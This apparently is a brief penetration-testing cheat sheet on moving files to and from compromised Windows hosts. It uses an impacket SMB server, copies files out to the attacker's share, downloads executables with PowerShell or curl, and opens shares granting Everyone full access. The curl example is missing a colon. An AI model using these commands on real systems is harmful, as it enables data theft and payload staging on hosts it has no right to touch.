File Transfer

SMB

Using impacket:

# Setup smb share named 'tmp' in current directory with SMB2 support
impacket-smbserver tmp . -smb2support

# From target host to local host:
copy <file> \\local-ip\tmp

# From local host to target host
copy \\local-ip\tmp\file.ps1

PowerShell

Invoke-WebRequest -u 'http://local-ip/file.exe' -o file.exe

Curl

curl http//local-ip/file.exe -o file.exe

Create and use shares

  • If you cannot reach your own IP, but you have two compromised hosts that can reach each other.

# Create share
net share SHARENAME=C:\PATH\TO\DIRECTORY /GRANT:Everyone,FULL

# Use share
net use Z: \\hostname\sharename /user:username 'password'

Last updated